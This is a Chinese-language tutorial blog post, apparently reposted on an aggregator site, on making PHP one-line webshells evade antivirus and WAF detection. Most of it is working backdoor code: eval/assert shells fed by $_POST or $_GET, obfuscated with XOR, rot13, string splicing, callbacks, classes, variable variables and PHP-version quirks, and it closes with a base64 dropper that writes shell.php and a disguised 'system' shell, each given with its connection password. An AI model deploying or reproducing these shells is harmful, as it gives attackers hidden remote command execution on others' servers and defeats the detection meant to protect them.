当前位置: 首页 > news >正文

免杀实战之面向PHP的WebShell免杀

0X00普通的一句话木马

<pre id="PTXkG"><?php eval($_POST['a']); ?>
//函数的相似替换
<?php assert($_POST['a']); ?></pre>

<?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个"@“字符,我们发现这个字符的含义是在php语法中表示抑制错误信息即使有错误也不返回;属于不太重要的"组件”,而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面…

接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看PHP手册发现如下区别:

  • eval():函数把字符串当做代码来计算,但是字符串必须是正确的PHP代码,且要以分号结尾
  • assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错

可以考虑使用assert函数代替eval函数,因为eval函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get…),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。

小提示:php一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)所以,不一定要用POST函数,GET函数也是可以的!(注意:get函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)

0X01 php的免杀(字符串免杀思路)


字符串异或加密
字符串base家族加密
字符串rot13加密
字符串拼接

php免杀之异或免杀

大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base家族加密,URL加密…)。

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源

所以我们常常会说:白名单>WAF>黑名单!

"^"为异或运算符,在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); 
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); 
$___=$__;
$_($___[_]); 

<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
('%05'^'`')
${$__}[!$_](${$___}[$_]);
?>

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$_____;
$____($_[$__]);

小提示:可以通过下列的PHP异或脚本解决生成函数的问题

<?php
    $test = '~!@#$%^&*()_+\|/?.,-={}[]';
    for($i=0;$i<strlen($test);$i++){
        for($j=0;$j<strlen($test);$j++){
            if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }
        }
    } 
?>

虽然简单方便,但是容易通过静态识别被发现,这样我们的免杀就会被识破,为了继续进行wbshell免杀,我们可以通过学习下面的免杀技巧,并与之相结合!从而达到绕过WAF与php禁用函数的目的!

php免杀之base家族加密

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>

这种方法没有什么特别的用处,但是可以尝试base16或base32与其他方法搭配使用,效果是不错的!

php免杀之rot13加密

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>

rot13对eavl函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)!

1661757231_630c672f5d209e7c47713.png

虽然威胁级别很高,但是我们可以作用于其他免杀的处理上,使得免杀率得到一定程度的下降!(但是下面这个却被杀的死死的,我不理解,会不会是格式原因呢?)

<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!',$b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>

1661757232_630c67303f1466994a762.png

php免杀之拼接免杀

<?php $k="e"."v"."a"."l"; $k(${"_PO"."ST"} ['110']);?>

1661757233_630c6731074ff0c8ce968.png

我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的arry数组结构函数进行免杀。

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>

1661757233_630c6731ac78c67afd605.png

也就是说,我们只要把PSOT函数在用rot13加个密就可以了;或者考虑变量替换(但是根据D盾的检测来看,效果不一定会比加密好)!

php免杀之混淆免杀

<?php 
function a() 
{ 
return "/*110110110110*/".$_POST['110']."/*110110110110**/"; 
} 
@eval(a()); 
?>

1661757234_630c67325fce44d7c0f79.png

单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!

<?php $a = str_replace(x,"","xexaxvxlx"); $a(@$_POST["110"]); ?>

1661757235_630c6733178e97f74b38a.png

这里多少一句啊,为了避免被检测到,可以参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。

0X02 php的免杀(函数特性免杀思路)


函数替换
自定义函数绕过
变形回调
数组
可变变量

php免杀之函数替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter():通过函数过滤掉数组中的元素

array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串

array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集

array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集

array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集

array_intersect_assoc():比较两个数组的键名和键值,并返回交集

array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集

xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。

xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。

xml_set_unparsed_entity_decl_handler():函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。

尽量去PHP语法手册,找一些及其偏门的函数…

php免杀之自定义函数绕过(可搭配大小写)

<?php 
 function aaa($a){
     return $a;
 }
 function bbb($b){
     return eval($b);
 }
 function post(){
    return @$_POST['110'];
}    
function run(){
    return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>

1661757235_630c6733b87ff68f349c2.png

我们可以通过我们自定义的函数方式,搭配php的版本和可替换函数绕过WAF的拦截,达到免杀的目的!由于在PHP函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!

php免杀之回调函数加组合绕过

array_walk()  
array_map()
filter_var() 
filter_var_array() 
uasort() 
uksort() 

以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!

php免杀之数组绕过

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>

1663228728_6322db3846e928ae12d59.png

php免杀之可变变量

PHP中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。

<?php 
$zeo='miansha';
$zeo=$_POST['110'];
eval($miansha);
?>

1661757236_630c6734601d0a1fa79d7.png

这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!

php的免杀使用类绕过免杀

类现在是大多数人的常用选择之一,因为类这个方法在过D盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:

<?php 
 class zeo2
 {
   public $b ='';
   function post(){
     return $_POST['x'];
   }
 }
class zeo extends zeo2
{
  public $code=null;
  function __construct(){
          $code=parent::post();
    assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>

1661757237_630c67350be6617e9fe75.png

0X03 php的免杀(基于PHP版本差异进行免杀)


传统的php免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的waf和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用php版本来进行语义出错的php命令执行方式。

1、利用特殊符号来引起报错

<?php \echo 'whoami'; ?>

PHP版本:只限于5.2版本

它的要求是能干扰到杀软的正则判断,还要代码能执行。这个可以自己慢慢测试。具体就是利用各种回车、换行、null和空白字符,这里我们尝试改造为可连接的一句话木马,配合上面的可变变量

<?php 
$xxxxxxxxxxxxxx='miansha'; 
$xxxxxxxxxxxxxx=$_POST['110']; 
eval(``.$miansha); 
?>

1661757237_630c6735a4f606f024c5c.png

2、十六进制字符串

PHP版本:只限于5.3和5.5版本;在php7中不认为是数字,php5则依旧为数字。(友情提示: 5.X可以成功执行命令,php7无法执行)

<?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?>

1661757238_630c673650c3eeb100dca.png

小提示:对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的payload,毕竟每家的waf规则不同,配置也不同,与一些传输层面的bypass进行结合产生的可能性就会非常多样。

3、利用在语法不换行来执行命令

PHP版本:只限于7.3.4版本,如果是其他的版本就会报错,所以针对性较强!

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>

小提示:7.0版本的??特性,如果版本为5.x的话就会报错,可以结合一些其他的方式吧!
1663229252_6322dd448aab077782e4d.png

0X04PHP一句话免杀实例

我这边就送个大家一些免杀把!

<?php 
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//连接密码110

1663227551_6322d69f9882146a6e6fb.png

另外在附上小马一个,希望大家一起集思广益!

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
 $m.=$objPQ->current();
 $objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3

1663228172_6322d90c734d1651e387d.png

0X04 一句话免杀小结

这篇文章的目的是想让大家对一句话木马免杀有一定的了解

相关文章:

  • LeetCode刷题复盘笔记—一文搞懂有序数组/链表转成二叉搜索树 二叉搜索树变平衡
  • Leetcode257. 二叉树的所有路径 Binary Tree Paths - Python递归法/回溯法
  • 【操作系统篇】第二篇——计算机系统概述(下)
  • 一箭双雕!刷完阿里 P8 架构师 spring 学习笔记 + 源码剖析,涨薪 8K
  • 【Leetcode刷题Python】牛客. 数组中未出现的最小正整数
  • 汇编语言相关习题
  • Java(二):IDEA使用教程
  • Codeforces Round #826 (Div. 3) E,F
  • MPLS 虚拟专用网络 配置实验
  • AppCode 2022Improves compatibility
  • 【 java 多线程】同步锁 (Lock) 解决线程的安全问题
  • 计算机学院第三周语法组及算法组作业
  • Java数据结构 | 二叉树的基本操作
  • IP分片--为什么单次最大传输1472个字节
  • QT中QThread的各个方法,UI线程关系,事件关系详解(5)
  • python3.6+scrapy+mysql 爬虫实战
  • [译] 怎样写一个基础的编译器
  • 【Redis学习笔记】2018-06-28 redis命令源码学习1
  • JavaScript创建对象的四种方式
  • Java教程_软件开发基础
  • Sass Day-01
  • vue-cli在webpack的配置文件探究
  • 从地狱到天堂,Node 回调向 async/await 转变
  • 漫谈开发设计中的一些“原则”及“设计哲学”
  • 使用API自动生成工具优化前端工作流
  • 做一名精致的JavaScripter 01:JavaScript简介
  • 400多位云计算专家和开发者,加入了同一个组织 ...
  • # 日期待t_最值得等的SUV奥迪Q9:空间比MPV还大,或搭4.0T,香
  • #HarmonyOS:Web组件的使用
  • #stm32整理(一)flash读写
  • (11)MATLAB PCA+SVM 人脸识别
  • (附源码)计算机毕业设计大学生兼职系统
  • (图)IntelliTrace Tools 跟踪云端程序
  • (小白学Java)Java简介和基本配置
  • (转)Linux整合apache和tomcat构建Web服务器
  • (转)mysql使用Navicat 导出和导入数据库
  • (转)ORM
  • .\OBJ\test1.axf: Error: L6230W: Ignoring --entry command. Cannot find argumen 'Reset_Handler'
  • .net 4.0 A potentially dangerous Request.Form value was detected from the client 的解决方案
  • .NET Core 控制台程序读 appsettings.json 、注依赖、配日志、设 IOptions
  • .NET 设计模式初探
  • .NET/C# 编译期间能确定的相同字符串,在运行期间是相同的实例
  • .NET/C# 获取一个正在运行的进程的命令行参数
  • .NET/C# 使用反射注册事件
  • .net解析传过来的xml_DOM4J解析XML文件
  • @FeignClient注解,fallback和fallbackFactory
  • [20170705]lsnrctl status LISTENER_SCAN1
  • [AIGC] MySQL存储引擎详解
  • [ai笔记9] openAI Sora技术文档引用文献汇总
  • [Angular] 笔记 21:@ViewChild
  • [BZOJ1877][SDOI2009]晨跑[最大流+费用流]
  • [C#]winform部署PaddleOCRV3推理模型
  • [C#]winform部署yolov5-onnx模型
  • [C#]无法获取源 https://api.nuge t.org/v3-index存储签名信息解决方法
  • [hadoop读书笔记] 第十五章 sqoop1.4.6小实验 - 将mysq数据导入HBASE